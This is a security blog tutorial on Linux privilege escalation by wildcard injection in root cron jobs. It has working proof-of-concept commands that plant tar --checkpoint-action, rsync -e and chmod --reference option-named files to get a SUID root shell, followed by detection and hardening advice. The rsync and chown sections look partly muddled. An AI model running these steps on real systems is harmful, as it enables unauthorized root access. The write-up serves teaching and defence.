Wildcard Injection: Privilege Escalation via tar and rsync in Cron Jobs

Linux Privesc
Time it takes to read this article 6 minutes.

Introduction / Overview

Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively on systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Wildcard injection (also called argument injection or "wildcard spell") is one of the most elegant Linux privilege escalation primitives. It abuses a property of the POSIX shell that has nothing to do with bugs in tar, rsync, or chown themselves: the shell expands the * glob into a list of filenames before the binary ever runs. If an attacker controls filenames in a directory that is later processed with *, they can plant files whose names look exactly like command-line options. The target program faithfully interprets those names as flags.

When the vulnerable command runs as root — typically inside a poorly written cron job or backup script — this turns "write a file in a directory" into "execute arbitrary code as root." In this post you'll learn how the shell makes this possible, how to weaponize tar's --checkpoint-action, rsync's -e flag, and the simpler chown/chmod --reference trick, and crucially how blue teams detect and prevent it.

How It Works / Background

Consider a backup cron job a sysadmin wrote:

cd /var/www/html/uploads && tar czf /backups/site.tgz *
Bash

The admin's intent: archive every file in uploads. But the shell tokenizes this line. When it hits *, it performs pathname expansion (globbing), replacing * with an alphabetically sorted list of every filename in the directory. If the directory contains files named a.jpg and --checkpoint=1, the actual command executed becomes:

tar czf /backups/site.tgz --checkpoint=1 a.jpg ...
Bash

tar has no idea those leading entries came from a glob. From its perspective they are command-line options, indistinguishable from flags the admin typed. This is the entire trick: the shell cannot distinguish a filename from an option string. Any utility that accepts dangerous flags becomes a code-execution vector when fed an attacker-controlled glob.

GNU tar is the classic target because of two checkpoint options:

  • --checkpoint[=N] — print a progress message every N records.
  • --checkpoint-action=ACTION — run an action at each checkpoint. The exec= action runs an arbitrary command.

Together they let us run a shell script of our choosing.

Prerequisites / Lab Setup

To reproduce safely, build a minimal lab on any Linux VM:

# As an unprivileged user
mkdir -p /tmp/uploads
chmod 777 /tmp/uploads

# Simulate the root cron job (run once as root or via cron)
sudo bash -c 'cd /tmp/uploads && tar czf /tmp/backup.tgz *'
Bash

In a real engagement, you'd first discover the vulnerable job. Enumerate scheduled tasks and writable directories:

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/
# pspy is invaluable for catching cron jobs you can't read
./pspy64
# Find world-writable dirs referenced by scripts
grep -R "tar\|rsync\|chown\|chmod" /etc /opt /usr/local 2>/dev/null
Bash

The two requirements are: (1) a privileged process running tar, rsync, chown, or similar with an unquoted *, and (2) write access to the directory being globbed.

Attack Walkthrough / PoC

Technique 1: GNU tar checkpoint-action

This is the canonical exploit. We craft a payload script and create two specially named empty files that tar will read as options.

cd /tmp/uploads

# 1. Payload: copy bash and set the SUID bit (or add a reverse shell)
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh

# 2. Create files whose NAMES are tar options.
#    The leading -- is a literal part of the filename.
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
Bash

When the root cron job runs tar czf /tmp/backup.tgz *, the glob expands (alphabetical order puts the --checkpoint* files first) and tar executes our action at the first checkpoint:

tar czf /tmp/backup.tgz --checkpoint=1 "--checkpoint-action=exec=sh shell.sh" shell.sh
Bash

After the job fires, claim the SUID shell:

ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
# bash-5.1# id
# uid=1000(user) euid=0(root) ...
Bash

The -p flag tells bash to preserve the effective UID, giving you a root shell.

Technique 2: rsync -e

If the privileged job uses rsync with a wildcard, rsync's -e option (which specifies the remote shell) can be hijacked. The rsync daemon supports running commands via the --rsh/-e flag combined with an pre-xfer style trick using -e sh -c '<cmd>':

cd /tmp/uploads
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > x.sh
touch "x.sh"
touch -- "-e sh x.sh"
Bash

When a job such as rsync -avz * backup@host:/dest/ runs, the crafted filename is parsed as -e sh x.sh, forcing rsync to invoke sh x.sh as its transport program — executing your script with the privileges of the job.

Technique 3: chown / chmod –reference

chown and chmod accept --reference=FILE, which copies ownership/permissions from a reference file. A job like chown -R www-data:www-data * can be subverted to take ownership of an arbitrary file you control via a symlink, letting you rewrite its permissions to your advantage.

cd /tmp/uploads
# Point a symlink at a sensitive file, then craft a --reference name
ln -s /etc/shadow shadow.link
touch -- "--reference=shadow.link"
Bash

When chmod -R 555 * runs as root, the --reference flag makes chmod apply /etc/shadow's mode to the matched entries — or, combined with -R and symlink following, lets you escalate by re-owning files like /etc/passwd. The cleanest path is often re-owning a SUID-capable script. Always validate the exact target command before crafting the reference.

Mermaid Diagram

Wildcard Injection: Privilege Escalation via tar and rsync in Cron Jobs diagram 1

Flow: an attacker plants option-shaped filenames in a writable directory; the shell expands * into those names; the root-run tar interprets them as flags and executes the attacker's payload as root.

Detection & Defense (Blue Team)

Wildcard injection is a coding flaw in privileged scripts, so the fix lives in how those scripts are written and where they run. Treat these mitigations with the same priority as the attack itself.

1. Never glob untrusted directories in privileged jobs. Replace bare * with an explicit path or find that prevents argument injection:

# Bad
cd /var/www/uploads && tar czf /backups/site.tgz *

# Good — anchor every path so the shell can't produce a leading "-"
tar czf /backups/site.tgz -C /var/www/uploads .

# Or use find with -print0 / null delimiter so names are never re-parsed
find /var/www/uploads -type f -print0 | tar --null -czf /backups/site.tgz -T -
Bash

Using -C dir . (or ./* instead of *) guarantees arguments begin with ./ or ., which tar treats as a path, not an option. The -- end-of-options separator (tar czf out.tgz -- *) also neutralizes the trick.

2. Lock down directory permissions. A backup source directory should not be world- or group-writable by accounts that aren't trusted. Audit with:

find / -path /proc -prune -o -type d -perm -0002 -print 2>/dev/null
Bash

3. Hunt for the option-shaped files. Files named --checkpoint-action=..., -e sh ..., or --reference=... are never legitimate. A simple detection:

find / -name '--*' -o -name '-*' 2>/dev/null
auditd: -w /var/www/uploads -p w -k wildcard_inject
Bash

Configure auditd to watch write events on known backup directories, and alert when filenames begin with a dash.

4. Run jobs least-privilege. Backup jobs rarely need root. Run them as a dedicated low-privilege service account, and use tar's --no-recursion or capability-bounded wrappers where possible.

This maps to MITRE ATT&CK T1574 (Hijack Execution Flow) and T1053.003 (Scheduled Task/Job: Cron). Monitoring for unexpected SUID binary creation (find / -perm -4000 -newer /etc/hostname) catches the common payload. See also Linux SUID/SGID Abuse and pspy for Cron Enumeration for the discovery side, and GTFOBins Privilege Escalation for related living-off-the-land tricks.

Conclusion

Wildcard injection is a reminder that security flaws often live in the interaction between components — here, the shell's globbing and a binary's option parser — rather than in any single tool. tar's --checkpoint-action, rsync's -e, and chown/chmod's --reference are all legitimate features weaponized by attacker-controlled filenames. The offensive lesson is to always check privileged cron jobs for unquoted *. The defensive lesson is simpler still: anchor your paths, separate options with --, restrict directory writes, and never run backups as root when you don't have to.

References

Comments

Copied title and URL